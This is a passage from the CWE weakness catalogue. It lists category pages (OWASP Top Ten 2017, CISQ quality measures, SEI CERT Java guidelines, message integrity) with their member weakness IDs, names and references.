HasMember	B	76	Improper Neutralization of Equivalent Special Elements	1008	135
HasMember	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	1008	136
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1008	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1008	152
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	1008	181
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	1008	187
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	1008	198
HasMember	B	91	XML Injection (aka Blind XPath Injection)	1008	200
HasMember	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	1008	202
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	1008	204
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	1008	209
HasMember	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	1008	213
HasMember	V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	1008	216
HasMember	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1008	217
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')	1008	224
HasMember	C	138	Improper Neutralization of Special Elements	1008	342
HasMember	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	1008	362
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	1008	768
HasMember	F	352	Cross-Site Request Forgery (CSRF)	1008	773
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	1008	1001
HasMember	V	473	PHP External Variable Modification	1008	1005
HasMember	B	502	Deserialization of Untrusted Data	1008	1072
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1008	1195
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	1008	1256

Nature	Type	ID	Name	V	Page
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1008	1263
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1008	1278
HasMember	C	790	Improper Filtering of Special Elements	1008	1476
HasMember	B	791	Incomplete Filtering of Special Elements	1008	1478
HasMember	V	792	Incomplete Filtering of One or More Instances of Special Elements	1008	1479
HasMember	V	793	Only Filtering One Instance of a Special Element	1008	1480
HasMember	V	794	Incomplete Filtering of Multiple Instances of Special Elements	1008	1481
HasMember	B	795	Only Filtering Special Elements at a Specified Location	1008	1483
HasMember	V	796	Only Filtering Special Elements Relative to a Marker	1008	1484
HasMember	V	797	Only Filtering Special Elements at an Absolute Position	1008	1485
HasMember	C	943	Improper Neutralization of Special Elements in Data Query Logic	1008	1624

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1020: Verify Message Integrity

Category ID : 1020 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's data integrity components. Frequently these deal with ensuring integrity of data, such as messages, resource files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	B	353	Missing Support for Integrity Check	1008	780
HasMember	B	354	Improper Validation of Integrity Check Value	1008	782
HasMember	B	390	Detection of Error Condition Without Action	1008	845
HasMember	B	391	Unchecked Error Condition	1008	850
HasMember	B	494	Download of Code Without Integrity Check	1008	1055
HasMember	B	565	Reliance on Cookies without Validation and Integrity Checking	1008	1140
HasMember	B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking	1008	1273
HasMember	P	707	Improper Neutralization	1008	1362

Nature	Type	ID	Name	V	Page
HasMember	C	755	Improper Handling of Exceptional Conditions	1008	1389
HasMember	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	1008	1606

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1027: OWASP Top Ten 2017 Category A1 - Injection

Category ID : 1027 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049
HasMember	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	1026	136
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1026	141
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	1026	181
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	1026	187
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	1026	198
HasMember	B	91	XML Injection (aka Blind XPath Injection)	1026	200
HasMember	V	564	SQL Injection: Hibernate	1026	1139
HasMember	B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1026	1598
HasMember	C	943	Improper Neutralization of Special Elements in Data Query Logic	1026	1624

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Category-1028: OWASP Top Ten 2017 Category A2 - Broken Authentication

Category ID : 1028 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049
HasMember	B	256	Unprotected Storage of Credentials	1026	562
HasMember	C	287	Improper Authentication	1026	630
HasMember	B	308	Use of Single-factor Authentication	1026	682
HasMember	B	384	Session Fixation	1026	839
HasMember	C	522	Insufficiently Protected Credentials	1026	1091
HasMember	B	523	Unprotected Transport of Credentials	1026	1095
HasMember	B	613	Insufficient Session Expiration	1026	1219
HasMember	B	620	Unverified Password Change	1026	1229
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	1026	1253

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Category-1029: OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure

Category ID : 1029 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049
HasMember	V	220	Storage of File With Sensitive Data Under FTP Root	1026	510
HasMember	B	295	Improper Certificate Validation	1026	648
HasMember	C	311	Missing Encryption of Sensitive Data	1026	686
HasMember	B	312	Cleartext Storage of Sensitive Information	1026	693
HasMember	B	319	Cleartext Transmission of Sensitive Information	1026	705
HasMember	C	320	Key Management Errors	1026	1859
HasMember	B	325	Missing Required Cryptographic Step	1026	717
HasMember	C	326	Inadequate Encryption Strength	1026	718
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	1026	720
HasMember	B	328	Reversible One-Way Hash	1026	726
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	1026	788

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Category-1030: OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)

Category ID : 1030 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049
HasMember	B	611	Improper Restriction of XML External Entity Reference	1026	1215
HasMember	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1026	1440

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Category-1031: OWASP Top Ten 2017 Category A5 - Broken Access Control

Category ID : 1031 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	1026	31
HasMember	P	284	Improper Access Control	1026	619
HasMember	C	285	Improper Authorization	1026	623
HasMember	B	425	Direct Request ('Forced Browsing')	1026	915
HasMember	B	639	Authorization Bypass Through User-Controlled Key	1026	1251

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Category-1032: OWASP Top Ten 2017 Category A6 - Security Misconfiguration

Category ID : 1032 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049
HasMember	C	16	Configuration	1026	1849
HasMember	B	209	Generation of Error Message Containing Sensitive Information	1026	490

Nature	Type	ID	Name	V	Page
HasMember	V	548	Exposure of Information Through Directory Listing	1026	1121

Notes

Relationship

While the OWASP document maps to CWE-2 and CWE-388, these are not appropriate for mapping, as they are high-level categories that are only intended for the Seven Pernicious Kingdoms view (CWE-700).

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Category-1033: OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)

Category ID : 1033 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1026	152

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Category-1034: OWASP Top Ten 2017 Category A8 - Insecure Deserialization

Category ID : 1034 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049
HasMember	B	502	Deserialization of Untrusted Data	1026	1072

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Category-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Category ID : 1035 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049

Notes

Relationship

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Category-1036: OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring

Category ID : 1036 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049
HasMember	B	223	Omission of Security-relevant Information	1026	513
HasMember	B	778	Insufficient Logging	1026	1444

References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf >.

Category-1129: CISQ Quality Measures - Reliability

Category ID : 1129 **Status:** Incomplete

Summary

Weaknesses in this category are related to the CISQ Quality Measures for Reliability. Presence of these weaknesses could reduce the reliability of the software.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1128	CISQ Quality Measures (2016)	1128	2051

Nature	Type	ID	Name	V	Page
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1128	280
HasMember	B	252	Unchecked Return Value	1128	553
HasMember	B	396	Declaration of Catch for Generic Exception	1128	860
HasMember	B	397	Declaration of Throws for Generic Exception	1128	862
HasMember	V	456	Missing Initialization of a Variable	1128	971
HasMember	C	674	Uncontrolled Recursion	1128	1314
HasMember	C	704	Incorrect Type Conversion or Cast	1128	1357
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1128	1432
HasMember	B	788	Access of Memory Location After End of Buffer	1128	1470
HasMember	V	1045	Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor	1128	1647
HasMember	B	1047	Modules with Circular Dependencies	1128	1649
HasMember	B	1051	Initialization with Hard-Coded Network Resource Configuration Data	1128	1653
HasMember	B	1056	Invokable Control Element with Variadic Parameters	1128	1658
HasMember	B	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	1128	1660
HasMember	B	1062	Parent Class with References to Child Class	1128	1664
HasMember	B	1065	Runtime Resource Management Control Element in a Component Built to Run on Application Servers	1128	1667
HasMember	B	1066	Missing Serialization Control Element	1128	1668
HasMember	B	1069	Empty Exception Block	1128	1670
HasMember	B	1070	Serializable Data Element Containing non-Serializable Item Elements	1128	1671
HasMember	V	1077	Floating Point Comparison with Incorrect Operator	1128	1678
HasMember	B	1079	Parent Class without Virtual Destructor Method	1128	1680
HasMember	B	1082	Class Instance Self Destruction Control Element	1128	1682
HasMember	B	1083	Data Access from Outside Expected Data Manager Component	1128	1683
HasMember	B	1087	Class with Virtual Method without a Virtual Destructor	1128	1687
HasMember	B	1088	Synchronous Access of Remote Resource without Timeout	1128	1688
HasMember	V	1096	Singleton Class Instance Creation without Proper Locking or Synchronization	1128	1696
HasMember	B	1097	Persistent Storable Data Element without Associated Comparison Control Element	1128	1697
HasMember	V	1098	Data Element containing Pointer Item without Proper Copy Control Element	1128	1698

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-968]Consortium for Information & Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. < http://it-cisq.org/standards/automated-quality-characteristic-measures/ >.

Category-1130: CISQ Quality Measures - Maintainability

Category ID : 1130 **Status:** Incomplete

Summary

Weaknesses in this category are related to the CISQ Quality Measures for Maintainability. Presence of these weaknesses could reduce the maintainability of the software.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1128	CISQ Quality Measures (2016)	1128	2051
HasMember	B	561	Dead Code	1128	1133
HasMember	V	766	Critical Data Element Declared Public	1128	1415
HasMember	B	1041	Use of Redundant Code	1128	1643
HasMember	B	1044	Architecture with Number of Horizontal Layers Outside of Expected Range	1128	1646
HasMember	B	1047	Modules with Circular Dependencies	1128	1649
HasMember	B	1048	Invokable Control Element with Large Number of Outward Calls	1128	1650
HasMember	B	1052	Excessive Use of Hard-Coded Literals in Initialization	1128	1654
HasMember	B	1054	Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer	1128	1656
HasMember	B	1055	Multiple Inheritance from Concrete Classes	1128	1657
HasMember	B	1064	Invokable Control Element with Signature Containing an Excessive Number of Parameters	1128	1666
HasMember	B	1074	Class with Excessively Deep Inheritance	1128	1675
HasMember	B	1075	Unconditional Control Flow Transfer outside of Switch Block	1128	1676
HasMember	B	1080	Source Code File with Excessive Number of Lines of Code	1128	1681
HasMember	B	1084	Invokable Control Element with Excessive File or Data Access Operations	1128	1684
HasMember	B	1085	Invokable Control Element with Excessive Volume of Commented-out Code	1128	1685
HasMember	B	1086	Class with Excessive Number of Child Classes	1128	1686
HasMember	B	1090	Method Containing Access of a Member Element from Another Class	1128	1690
HasMember	B	1092	Use of Same Invokable Control Element in Multiple Architectural Layers	1128	1692
HasMember	B	1095	Loop Condition Value Update within the Loop	1128	1695
HasMember	B	1121	Excessive McCabe Cyclomatic Complexity	1128	1716

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

[REF-968]Consortium for Information & Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. < http://it-cisq.org/standards/automated-quality-characteristic-measures/ >.

Category-1131: CISQ Quality Measures - Security

Category ID : 1131 **Status:** Incomplete

Summary

Weaknesses in this category are related to the CISQ Quality Measures for Security. Presence of these weaknesses could reduce the security of the software.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1128	CISQ Quality Measures (2016)	1128	2051
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	1128	31
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1128	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1128	152
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	1128	187
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')	1128	224
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1128	280
HasMember	V	129	Improper Validation of Array Index	1128	312
HasMember	B	134	Use of Externally-Controlled Format String	1128	334
HasMember	B	252	Unchecked Return Value	1128	553
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	1128	720
HasMember	B	396	Declaration of Catch for Generic Exception	1128	860
HasMember	B	397	Declaration of Throws for Generic Exception	1128	862
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	1128	935
HasMember	V	456	Missing Initialization of a Variable	1128	971
HasMember	B	606	Unchecked Input for Loop Condition	1128	1207
HasMember	C	667	Improper Locking	1128	1299
HasMember	C	672	Operation on a Resource after Expiration or Release	1128	1310
HasMember	B	681	Incorrect Conversion between Numeric Types	1128	1322
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1128	1432
HasMember	V	789	Uncontrolled Memory Allocation	1128	1474
HasMember	B	798	Use of Hard-coded Credentials	1128	1486
HasMember	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1128	1546

References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

[REF-968]Consortium for Information & Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. < http://it-cisq.org/standards/automated-quality-characteristic-measures/ >.

Category-1132: CISQ Quality Measures - Performance

Category ID : 1132 **Status:** Incomplete

Summary

Weaknesses in this category are related to the CISQ Quality Measures for Performance. Presence of these weaknesses could reduce the performance of the software.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1128	CISQ Quality Measures (2016)	1128	2051

Nature	Type	ID	Name	V	Page
HasMember	V	1042	Static Member Data Element outside of a Singleton Class Element	1128	1644
HasMember	B	1043	Data Element Aggregating an Excessively Large Number of Non-Primitive Elements	1128	1645
HasMember	B	1046	Creation of Immutable Text Using String Concatenation	1128	1648
HasMember	B	1049	Excessive Data Query Operations in a Large Data Table	1128	1651
HasMember	B	1050	Excessive Platform Resource Consumption within a Loop	1128	1652
HasMember	B	1057	Data Access Operations Outside of Expected Data Manager Component	1128	1659
HasMember	B	1060	Excessive Number of Inefficient Server-Side Data Accesses	1128	1662
HasMember	B	1063	Creation of Class Instance within a Static Code Block	1128	1665
HasMember	B	1067	Excessive Execution of Sequential Searches of Data Resource	1128	1669
HasMember	B	1072	Data Resource Access without Use of Connection Pooling	1128	1673
HasMember	B	1073	Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses	1128	1674
HasMember	B	1089	Large Data Table with Excessive Number of Indices	1128	1689
HasMember	B	1091	Use of Object without Invoking Destructor Method	1128	1691
HasMember	B	1094	Excessive Index Range Scan for a Data Resource	1128	1694

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

[REF-968]Consortium for Information & Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. < http://it-cisq.org/standards/automated-quality-characteristic-measures/ >.

Category-1134: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)

Category ID : 1134 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Input Validation and Data Sanitization (IDS) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1133	141
HasMember	C	116	Improper Encoding or Escaping of Output	1133	260
HasMember	B	117	Improper Output Neutralization for Logs	1133	266
HasMember	B	134	Use of Externally-Controlled Format String	1133	334
HasMember	V	144	Improper Neutralization of Line Delimiters	1133	351

Nature	Type	ID	Name	V	Page
HasMember	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	1133	362
HasMember	V	180	Incorrect Behavior Order: Validate Before Canonicalize	1133	417
HasMember	B	182	Collapse of Data into Unsafe Value	1133	422
HasMember	V	289	Authentication Bypass by Alternate Name	1133	638
HasMember	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	1133	890

References

[REF-814]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 00. Input Validation and Data Sanitization (IDS)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487865 >.

[REF-996]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 00. Input Validation and Data Sanitization (IDS)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487337 >.

Category-1135: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)

Category ID : 1135 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	C	665	Improper Initialization	1133	1293

References

[REF-815]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 01. Declarations and Initialization (DCL)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487858 >.

[REF-997]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 01. Declarations and Initialization (DCL)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487329 >.

Category-1136: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)

Category ID : 1136 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	252	Unchecked Return Value	1133	553
HasMember	B	476	NULL Pointer Dereference	1133	1009
HasMember	V	595	Comparison of Object References Instead of Object Contents	1133	1187
HasMember	V	597	Use of Wrong Operator in String Comparison	1133	1189

References

[REF-816]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 02. Expressions (EXP)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487704 >.

[REF-998]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 02. Expressions (EXP)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487331 >.

Category-1137: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)

Category ID : 1137 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Numeric Types and Operations (NUM) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	190	Integer Overflow or Wraparound	1133	437
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	1133	444
HasMember	B	197	Numeric Truncation Error	1133	461
HasMember	B	369	Divide By Zero	1133	818
HasMember	B	681	Incorrect Conversion between Numeric Types	1133	1322
HasMember	P	682	Incorrect Calculation	1133	1326

References

[REF-817]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 03. Numeric Types and Operations (NUM)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487628 >.

[REF-999]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 03. Numeric Types and Operations (NUM)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487335 >.

Category-1138: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR)

Category ID : 1138 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	838	Inappropriate Encoding for Output Context	1133	1551

References

[REF-971]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 04. Characters and Strings (STR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487607 >.

[REF-1000]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 04. Characters and Strings (STR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487333 >.

Category-1139: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)

Category ID : 1139 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Object Orientation (OBJ) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	374	Passing Mutable Objects to an Untrusted Method	1133	824
HasMember	B	375	Returning a Mutable Object to an Untrusted Caller	1133	827
HasMember	V	486	Comparison of Classes by Name	1133	1036
HasMember	V	491	Public cloneable() Method Without Final ('Object Hijack')	1133	1044
HasMember	V	492	Use of Inner Class Containing Sensitive Data	1133	1046
HasMember	V	498	Cloneable Class Containing Sensitive Information	1133	1065
HasMember	V	500	Public Static Field Not Marked Final	1133	1069
HasMember	V	766	Critical Data Element Declared Public	1133	1415

References

[REF-818]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 05. Object Orientation (OBJ)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487715 >.

[REF-1001]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 05. Object Orientation (OBJ)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487353 >.

Category-1140: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)

Category ID : 1140 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Methods (MET) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	V	568	finalize() Method Without super.finalize()	1133	1146
HasMember	C	573	Improper Following of Specification by Caller	1133	1153
HasMember	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	1133	1167
HasMember	V	583	finalize() Method Declared Public	1133	1169
HasMember	V	586	Explicit Call to Finalize()	1133	1174
HasMember	V	589	Call to Non-ubiquitous API	1133	1178
HasMember	B	617	Reachable Assertion	1133	1224
HasMember	P	697	Incorrect Comparison	1133	1350

References

[REF-819]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 06. Methods (MET)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487441 >.

[REF-1002]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 06. Methods (MET)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487336 >.

Category-1141: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)

Category ID : 1141 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Exceptional Behavior (ERR) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	248	Uncaught Exception	1133	545
HasMember	V	382	J2EE Bad Practices: Use of System.exit()	1133	836
HasMember	B	397	Declaration of Throws for Generic Exception	1133	862
HasMember	B	459	Incomplete Cleanup	1133	978
